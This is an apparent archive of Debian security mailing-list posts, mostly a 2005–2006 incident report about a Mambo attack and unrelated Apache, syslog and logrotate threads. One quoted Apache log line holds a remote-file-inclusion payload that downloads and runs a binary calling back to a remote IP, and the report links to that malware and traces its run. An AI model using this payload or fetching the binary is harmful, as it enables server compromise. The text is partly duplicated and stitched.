old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
- -1, 0) = 0xb7dd5000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7dd5460,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f0b000, 30780) = 0
fork() = 11935
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f12000
write(1, "./sexy \n", 21./sexy
) = 21
munmap(0xb7f12000, 4096)= 0
exit_group(2) = ?
- ---cut---
After this run the box was hardly damaged:
- - It insists on bringing its NIC to promiscuous mode
- - ls, grep, gunzip (probably others, too) just give a segmentation
fault
I tried to investigate further:
- - tcpdump doesn't show any traffic in the net that shouldn't be there
- - ps ax listed only known processes, all where found in /proc, too
- - Top doesn't show anything strange
- - netstat -tulpen doesn't list any ports listening
Trying rebooting failed totally. It tried to run a lot of grep processes
that didn't run etc.
It took me 2 hours to return to a normal state with this box (booting
knoppix, backup of corrupted /var, blanking the disc, restoring the
backup of the night before).
In spite I am not that familiar with strace and no coder, I suppose that
the program "sexy" damaged the linker (open ld.so.cache) and would have
tried to open a ptty on the IP/port given on the command line (As I did
not give any command line arguments, this failed). Probably the guy/bot
on the other end would have exchanged some libs in this session to
install the real rootkit on the box.
Right?
Not having the binary and not really having time to look at it, it's
probably just straight up attempting to infect your machine, and that it
very clearly succeeded in doing. It didn't however succeed in hiding
itself, as evidenced by your segfaults. You&#
Strange Apache log and mambo security - sexy executable
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi,
yesterday morning I found a strange entry in my apache log files (debian
sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan
Server, just serving my Family and some good friends (normally).
- ---cut---
132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET
/cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.20
3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo|
HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
- ---cut---
As I patched mambo against recent "register global" attack and my /tmp
is mount noexec, the attack doesn't exploit anything.
However, I curiously downloaded this sexy executable to have a closer look.
- ---cut---
backup:/home/qmb# ./sexy -h
./sexy
- ---cut---
This host backup (sarge, 2.6.12) is in the second raw of my LAN and just
used to make rsync backups of LAN hosts to usb hds.
Unfortunately, I was that curious, that I decided to strace it (in spite
I hardly understand strace):
- ---cut---
backup:/home/qmb# strace ./sexy
execve("./sexy", ["./sexy"], [/* 20 vars */]) = 0
uname({sys="Linux", node="backup", ...}) = 0
brk(0) = 0x804a000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
- -1, 0) = 0xb7f13000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.preload", O_RDONLY)= -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=30780, ...}) = 0
old_mmap(NULL, 30780, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f0b000
close(3)= 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
open("/lib/tls/libc.so.6", O_RDONLY)= 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`Z\1\000"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1254468, ...}) = 0
old_mmap(NULL, 1264780, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xb7dd6000
old_mmap(0xb7f0, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
3, 0x129000) = 0xb7f0
old_mmap(0xb7f09000, 7308, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f09000
close(3)= 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
- -1, 0) = 0xb7dd5000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7dd5460,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f0b000, 30780) = 0
fork() = 11935
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f12000
write(1, "./sexy \n", 21./sexy
) = 21
munmap(0xb7f12000, 4096)= 0
exit_group(2) = ?
- ---cut---
After this run the box was hardly damaged:
- - It insists on bringing its NIC to promiscuous mode
- - ls, grep, gunzip (probably others, too) just give a segmentation
fault
I tried to investigate further:
- - tcpdump doesn't show any traffic in the net that shouldn't be there
- - ps ax listed only known processes, all where found in /proc, too
- - Top doesn't show anything strange
- - netstat -tulpen doesn't list any ports listening
Trying rebooting failed totally. It tried to run a lot of grep processes
that didn't run etc.
It took me 2 hours to return to a normal state with this box (booting
knoppix, backup of corrupted /var, blanking the disc, restoring the
backup of the night before).
In spite I am not that familiar with strace and no coder, I suppose that
the program "sexy" damaged the linker (open ld.so.cache) and would have
tried to open a ptty on the IP/port given on the command line (As I did
not give any command line arguments, this failed). Probably the guy/bot
on the other end would have exchanged some libs in this session to
install the real rootkit on the box.
Right?
Though I already invested some time (restoring the host backup), I would
be pleased to understand what happened more detailed so any clue is
appreciated.
If somebody wants to have a closer look at the binary, I think you can
still get at:
http://212.203.97.120/sexy
Does it make any sense to complain at the abuse teams of the involved
IPs given in the apache log?
TIA.
BTW: The name of the binary "sexy", doesn't make it easier to STFW :(
PS: Sorry, to all I bothered when sending this message to the private
list ([EMAIL PROTECTED]) first.
- --
- - maik
-BEGIN PGP SIGNATURE-
Version: Gn
Re: [SECURITY] [DSA 803-1] New Apache packages fix HTTP request smuggling
atualizei: apache, apache-common e apache-utils jp(sem assinatura). > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > - > -- > Debian Security Advisory DSA 803-1 [EMAIL PROTECTED] > http://www.debian.org/security/ Martin Schulze > September 8th, 2005 http://www.debian.org/security/faq > - > ------ > > Package: apache > Vulnerability : programming error > Problem type : remote > Debian-specific: no > CVE ID : CAN-2005-2088 > Debian Bug : 322607 > > A vulnerability has been discovered in the Apache web server. When it > is acting as an HTTP proxy, it allows remote attackers to poison the > web cache, bypass web application firewall protection, and conduct > cross-site scripting attacks, which causes Apache to incorrectly > handle and forward the body of the request. > > For the old stable distribution (woody) this problem has been fixed in > version 1.3.26-0woody7. > > For the stable distribution (sarge) this problem has been fixed in > version 1.3.33-6sarge1. > > For the unstable distribution (sid) this problem has been fixed in > version 1.3.33-8. > > We recommend that you upgrade your Apache package. > > > Upgrade Instructions > - > > wget url > will fetch the file for you > dpkg -i file.deb > will install the referenced file. > > If you are using the apt-get package manager, use the line for > sources.list as given below: > > apt-get update > will update the internal database > apt-get upgrade > will install corrected packages > > You may use an automated update by adding the resources from the > footer to the proper configuration. > > -BEGIN PGP SIGNATURE- > Version: GnuPG v1.4.1 (GNU/Linux) > > iD8DBQFDH9OSW5ql+IAeqTIRAo8cAJ9wG0wUOQcSBszrarKnqWOs9IlwTACePEcf > cDGL/fke9UfFWxj7FBIzBwM= > =vhXI > -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: [SECURITY] [DSA 803-1] New Apache packages fix HTTP request smuggling
Moin, wir haben Version Apache/2.0.44 im Einsatz, also diesbezüglich kein Handlungsbedarf. --- Martin Schmidt - [EMAIL PROTECTED] Hamburger Pensionsverwaltung eG MS> Umgeleitet von He: MS> ich beobachte die Security-Liste für debian. Dabei bin ich über diesen MS> Fehler bzw. Fix gefallen. Ist der Fehler auf unseren Systemen unter MS> Suse gefixed? MS> -BEGIN PGP SIGNED MESSAGE- MS> Hash: SHA1 MS> - -- MS> Debian Security Advisory DSA 803-1 [EMAIL PROTECTED] MS> http://www.debian.org/security/ Martin Schulze MS> September 8th, 2005 http://www.debian.org/security/faq MS> - ------ >>Package: apache MS> Vulnerability : programming error >>Problem type : remote >>Debian-specific: no >>CVE ID : CAN-2005-2088 MS> Debian Bug : 322607 MS> A vulnerability has been discovered in the Apache web server. When it MS> is acting as an HTTP proxy, it allows remote attackers to poison the MS> web cache, bypass web application firewall protection, and conduct MS> cross-site scripting attacks, which causes Apache to incorrectly MS> handle and forward the body of the request. MS> For the old stable distribution (woody) this problem has been fixed in MS> version 1.3.26-0woody7. MS> For the stable distribution (sarge) this problem has been fixed in MS> version 1.3.33-6sarge1. MS> For the unstable distribution (sid) this problem has been fixed in MS> version 1.3.33-8. MS> We recommend that you upgrade your Apache package. MS> Upgrade Instructions MS> - MS> wget url MS> will fetch the file for you MS> dpkg -i file.deb MS> will install the referenced file. MS> If you are using the apt-get package manager, use the line for MS> sources.list as given below: MS> apt-get update MS> will update the internal database MS> apt-get upgrade MS> will install corrected packages MS> You may use an automated update by adding the resources from the MS> footer to the proper configuration. MS> Debian GNU/Linux 3.0 alias woody MS> - MS> Source archives: MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7.dsc MS> Size/MD5 checksum: 668 498fa0b608affe5f54ca6f39c09ee842 MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7.diff.gz MS> Size/MD5 checksum: 301515 9aca1a8cc1bb9d2cf016dd59f66e318d MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26.orig.tar.gz MS> Size/MD5 checksum: 2586182 5cd778bbe6906b5ef39dbb7ef801de61 MS> Architecture independent components: MS> http://security.debian.org/pool/updates/main/a/apache/apache-doc_1.3.26-0woody7_all.deb MS> Size/MD5 checksum: 1022808 3c34206949d744c5131401fb37bd80c4 MS> Alpha architecture: MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7_alpha.deb MS> Size/MD5 checksum: 395714 420933ad19e04518f105c7c10a6bdca3 MS> http://security.debian.org/pool/updates/main/a/apache/apache-common_1.3.26-0woody7_alpha.deb MS> Size/MD5 checksum: 926264 af2983a29e494c582e40bd9e3bd6d5f3 MS> http://security.debian.org/pool/updates/main/a/apache/apache-dev_1.3.26-0woody7_alpha.deb MS> Size/MD5 checksum: 714110 4a531cd2954b066755b68b9be16ace01 MS> ARM architecture: MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7_arm.deb MS> Size/MD5 checksum: 361344 cec90195145f015edfbfc35313c7f6cc MS> http://security.debian.org/pool/updates/main/a/apache/apache-common_1.3.26-0woody7_arm.deb MS> Size/MD5 checksum: 839138 bc71db85fa4eff02aa30caaa757a5f2f MS> http://security.debian.org/pool/updates/main/a/apache/apache-dev_1.3.26-0woody7_arm.deb MS> Size/MD5 checksum: 544586 62191863ffd4f96497754f4b915a3c50 MS> Intel IA-32 architecture: MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7_i386.deb MS> Size/MD5 checksum: 350294 fba3a1bc003f12e9ee66bd82151c8a81 MS> http://security.debian.org/pool/updates/main/a/apache/apache-common_1.3.26-0woody7_i386.deb MS> Size/MD5 checksum: 812910 2e7fd26fa78f0a6b908299a169bd602b MS> http://security.debian.org/pool/updates/main/a/apache/apache-dev_1.3.26-0woody7_i386.deb MS> Size/MD5 checksum: 535754 d5868a7f4e0dea7465bedfabaebeeab4 MS> Intel IA-64 architecture: MS> http://security.debian.org/pool/updates/main/a/apache/apache_1.3.26-0woody7_ia64.deb MS>
Re: Re: found this in my /var/log/apache/access.log
Hi anyone, iam french, and i work on Microsoft Xppro, i have a Apache server and i always fall on the same request but it's always in 400 or 404... so, nothin' special to be afraid about, just to inform people that this sort of request exist. See you Fab
Re: Strange kernel log in apache log
On Fri, Apr 15, 2005 at 10:35:23PM +0200, HubiX wrote: > What I need : Does anyone know a good live cd, who can made detection > intrusions, in 32M of RAM ( WITHOUT X11 ). Take a look at GRML http://www.grml.org It should run with 32MB and has a lot of security tools. If it doesn't run good enough, please send me a mail. We could then try to speed it up. greets Jimmy -- Andreas "Jimmy" Gredler ,'"`. http://www.g-tec.co.at/ | [EMAIL PROTECTED] ( grml.org -» Linux for texttool-users and sysadmins `._, http://www.grml.org/| [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange kernel log in apache log
also sprach Brian Brazil <[EMAIL PROTECTED]> [2005.04.16.0121 +0200]: > *.* /var/log/apache/access.log > *.* /var/log/apache/error.log > *.* /var/log/boa/access_log > *.* /var/log/boa/error_log oh wow. htf could i have missed those. sorry. -- Please do not send copies of list mail to me; I read the list! .''`. martin f. krafft <[EMAIL PROTECTED]> : :' :proud Debian developer, admin, user, and author `. `'` `- Debian - when you have better things to do than fixing a system Invalid/expired PGP subkeys? Use subkeys.pgp.net as keyserver! "nullum magnum ingenium sine mixtura dementiae fuit." -- seneca signature.asc Description: Digital signature
Re: Strange kernel log in apache log
On Sat, Apr 16, 2005 at 12:04:33AM +0200, HubiX wrote: > martin f krafft a écrit : > > > >Can you put the file on the web somewhere (http://rafb.net/paste) > >and show us the link? > > OK, here my /etc/syslog.conf : http://rafb.net/paste/results/vu91Zw34.html Last 4 lines: *.* /var/log/apache/access.log *.* /var/log/apache/error.log *.* /var/log/boa/access_log *.* /var/log/boa/error_log These put ALL system and kernel log messages into the apache logs. I suggest removing these lines and restarting sysklogd. Brian -- Website: http://netsoc.tcd.ie/~bbrazil pgpqz8wJ1tqd7.pgp Description: PGP signature
Re: Strange kernel log in apache log
martin f krafft a Ãcrit : Please honour my request not to CC me on list messages. OUPS, SORRY ! Thunderbird ? My syslog write in apache log, then the apache log contain all my kernel Did you modify /etc/syslog.conf ? No, but I hav a new file named /etc/syslog.conf.lock who contain only 26898 Can you put the file on the web somewhere (http://rafb.net/paste) and show us the link? OK, here my /etc/syslog.conf : http://rafb.net/paste/results/vu91Zw34.html I say also, partitions for usr is mounted in read only mode, binary directories and executables are immutables, like /etc. Neither of those are security precautions, really. It's in an official debian security guide ( txt format ) A: Knoppix needs lots of RAM and a x86 architecture (Intel, AMD, etc.). You might get it running on an old 486 with at least 48MB RAM., but don't expect much (like gui). You're better off with a pentium class machine with at least 64-96MB RAM. Knoppix-STD is very reliant on RAM, the more the better. So why not just add more RAM? Because I dont have any free place (bank?), and I have only 8M of ram (sticks?). 4x8M :-( I hope to find a small boot disk, with some command line tools to check the system integrity. 32M is huge for this. My 32M system has apache, apache-ssl, courrier-imapd-ssl, courrier-pop-ssl, exim, thttpd, mysql and rarely swap. I have developp some open source projects on, and I need all of this... Thank for your patience. -- Rodier Andrà -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange kernel log in apache log
Please keep this post on the list. also sprach HubiX <[EMAIL PROTECTED]> [2005.04.16.0002 +0200]: > No, but I hav a new file named /etc/syslog.conf.lock who contain only 26898 I have never seen this. > OK, here my /etc/syslog.conf : http://rafb.net/paste/results/vu91Zw34.html Looks okay. > I say also, partitions for usr is mounted in read only mode, binary > directories and executables are immutables, like /etc. > > Neither of those are security precautions, really. > > It's in an official debian security guide ( txt format ) It's just another brick in the wall. > Because I dont have any free place (bank?), and I have only 8M of ram > (sticks?). 4x8M :-( Oh that sucks. > I hope to find a small boot disk, with some command line tools to check the > system integrity. 32M is huge for this. Or: take the harddrive into another computer. > My 32M system has apache, apache-ssl, courrier-imapd-ssl, courrier-pop-ssl, > exim, thttpd, mysql and rarely swap. I know, been there done that. It also takes 2 hours to computer `apt-get update`. -- .''`. martin f. krafft <[EMAIL PROTECTED]> : :' :proud Debian developer, admin, user, and author `. `'` `- Debian - when you have better things to do than fixing a system Invalid/expired PGP subkeys? Use subkeys.pgp.net as keyserver! "a woman is like your shadow; follow her, she flies; fly from her, she follows." -- sébastien-roch-nicolas chamfort signature.asc Description: Digital signature
Re: Strange kernel log in apache log
martin f krafft a ÃcritÂ: Please honour my request not to CC me on list messages. OUPS, SORRY ! Thunderbird ? My syslog write in apache log, then the apache log contain all my kernel Did you modify /etc/syslog.conf ? No, but I hav a new file named /etc/syslog.conf.lock who contain only 26898 Can you put the file on the web somewhere (http://rafb.net/paste) and show us the link? OK, here my /etc/syslog.conf : http://rafb.net/paste/results/vu91Zw34.html I say also, partitions for usr is mounted in read only mode, binary directories and executables are immutables, like /etc. Neither of those are security precautions, really. It's in an official debian security guide ( txt format ) A: Knoppix needs lots of RAM and a x86 architecture (Intel, AMD, etc.). You might get it running on an old 486 with at least 48MB RAM., but don't expect much (like gui). You're better off with a pentium class machine with at least 64-96MB RAM. Knoppix-STD is very reliant on RAM, the more the better. So why not just add more RAM? Because I dont have any free place (bank?), and I have only 8M of ram (sticks?). 4x8M :-( I hope to find a small boot disk, with some command line tools to check the system integrity. 32M is huge for this. My 32M system has apache, apache-ssl, courrier-imapd-ssl, courrier-pop-ssl, exim, thttpd, mysql and rarely swap. I have developp some open source projects on, and I need all of this... Thank for your patience. -- Rodier AndrÃ
Re: Strange kernel log in apache log
Please honour my request not to CC me on list messages. > My syslog write in apache log, then the apache log contain all my kernel Did you modify /etc/syslog.conf ? Can you put the file on the web somewhere (http://rafb.net/paste) and show us the link? > I say also, partitions for usr is mounted in read only mode, binary > directories and executables are immutables, like /etc. Neither of those are security precautions, really. > >A: Knoppix needs lots of RAM and a x86 architecture (Intel, AMD, > >etc.). You might get it running on an old 486 with at least 48MB RAM., > >but don't expect much (like gui). You're better off with a pentium > >class machine with at least 64-96MB RAM. Knoppix-STD is very reliant > >on RAM, the more the better. So why not just add more RAM? -- Please do not send copies of list mail to me; I read the list! .''`. martin f. krafft <[EMAIL PROTECTED]> : :' :proud Debian developer, admin, user, and author `. `'` `- Debian - when you have better things to do than fixing a system Invalid/expired PGP subkeys? Use subkeys.pgp.net as keyserver! hi! i'm a .signature virus! copy me into your ~/.signature to help me spread! signature.asc Description: Digital signature
Re: Strange kernel log in apache log
martin f krafft a Ãcrit : also sprach HubiX <[EMAIL PROTECTED]> [2005.04.15.2235 +0200]: I have a strange event on my machine : the kerneld write to apache access log ( /var/log/apache/access.log ). Apache is only accessiblme from my network. What's the log message? What I need : Does anyone know a good live cd, who can made detection intrusions, in 32M of RAM ( WITHOUT X11 ). check out Knoppix STD http://www.knoppix-std.org/ You can boot it text-only. Not sure if it can run with only 32 M of RAM. Thanks, My syslog write in apache log, then the apache log contain all my kernel messages I have verified inodes, config files, and make an e2fsck. I say also, partitions for usr is mounted in read only mode, binary directories and executables are immutables, like /etc. knoppix-std : http://www.knoppix-std.org/faq.html : A: Knoppix needs lots of RAM and a x86 architecture (Intel, AMD, etc.). You might get it running on an old 486 with at least 48MB RAM., but don't expect much (like gui). You're better off with a pentium class machine with at least 64-96MB RAM. Knoppix-STD is very reliant on RAM, the more the better. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange kernel log in apache log
also sprach HubiX <[EMAIL PROTECTED]> [2005.04.15.2235 +0200]: > I have a strange event on my machine : the kerneld write to apache > access log ( /var/log/apache/access.log ). > Apache is only accessiblme from my network. What's the log message? > What I need : Does anyone know a good live cd, who can made detection > intrusions, in 32M of RAM ( WITHOUT X11 ). check out Knoppix STD http://www.knoppix-std.org/ You can boot it text-only. Not sure if it can run with only 32 M of RAM. -- Please do not send copies of list mail to me; I read the list! .''`. martin f. krafft <[EMAIL PROTECTED]> : :' :proud Debian developer, admin, user, and author `. `'` `- Debian - when you have better things to do than fixing a system Invalid/expired PGP subkeys? Use subkeys.pgp.net as keyserver! dies ist eine manuell generierte email. sie beinhaltet tippfehler und ist auch ohne großbuchstaben gültig. signature.asc Description: Digital signature
Strange kernel log in apache log
Hello all, I'm affraid. First, I hope you understand my poor english :-) I have a 24/7 old PC(32M), behind an hardware firewall/router ( freebox ) My server *as fixed IP* and is only accessible by www(thttpd), imaps and pops (courrier), ssh and smtp. This is a debian woody, recently installed. I have a strange event on my machine : the kerneld write to apache access log ( /var/log/apache/access.log ). Apache is only accessiblme from my network. chkrootkit dont find any rootkit. What I need : Does anyone know a good live cd, who can made detection intrusions, in 32M of RAM ( WITHOUT X11 ). Thanks. -- Rodier Andrà -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Sorry, wrong list. Please ignore - Re: Logrotate failing for apache logs
Malcolm Ferguson wrote: Sorry, wrong list. I meant to send to debian-user. Malc -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Logrotate failing for apache logs
I've just rebuild my server and now it appears that logrotate is failing
for apache:
wolverine:/var/log# logrotate /etc/logrotate.d/apache
error running shared postrotate script for /var/log/apache/*.log
I've run the above command through strace and it looks like logrotate
creates a file in /tmp and writes out a shell script to restart apache.
I've tried recreating the script by hand and executing it from the
command line, and it appears to work (echo $? displays 0). So what
could be wrong?
Relevant part of strace's output:
open("/tmp/logrotate.97X4bM", O_RDWR|O_CREAT|O_EXCL|O_LARGEFILE, 0600) = 3
fchmod(3, 0700) = 0
write(3, "#!/bin/sh\n\n", 11) = 11
write(3, "\n\t\t/etc/init.d/apache reload > /"..., 41) = 41
close(3)= 0
rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
fork() = 15909
wait4(15909, [WIFEXITED(s) && WEXITSTATUS(s) == 1], 0, NULL) = 15909
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) ---
unlink("/tmp/logrotate.97X4bM") = 0
write(2, "error running shared postrotate "..., 66error running shared
postrotate script for /var/log/apache/*.log
) = 66
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
